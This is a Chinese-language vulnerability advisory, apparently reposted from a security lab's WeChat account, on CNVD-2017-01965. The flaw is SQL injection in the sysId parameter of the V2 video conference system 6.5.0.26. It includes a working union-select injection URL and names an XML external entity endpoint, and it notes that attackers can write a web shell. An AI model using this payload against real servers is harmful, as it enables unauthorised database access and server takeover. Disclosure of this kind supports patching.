威速V2视频会议系统sysId参数存在SQL命令执行漏洞CNVD-2017-01965

服务简介

威速V2视频会议系统是一款视频会议系统。

漏洞描述

威速V2视频会议系统sysId参数存在SQL命令执行漏洞。允许攻击者远程写入shell，获得服务器权限。

漏洞影响

北京威速科技有限公司v2视频会议系统 6.5.0.26

危害等级

高

漏洞编号

CNVD-2017-01965

环境搭建

无可复现环境

漏洞复现

sql注入点

/conf/jsp/systembulletin/bulletinAction.do?operator=details&sysId=-1%20union%20select%201,user(),3,database(),5%23

外部实体注入点

/conf/services/ConferenceWebService?wsdl

通过构造payload数据包请求上传shell

修复方式

更新到最新版

http://www.v2tech.com/

参考连接

http://loudong.360.cn/vul/info/id/207547 

https://butian.360.cn/vul/info/qid/QTVA-2017-622646

原文始发于微信公众号（CTS纵横安全实验室）：威速V2视频会议系统sysId参数存在SQL命令执行漏洞CNVD-2017-01965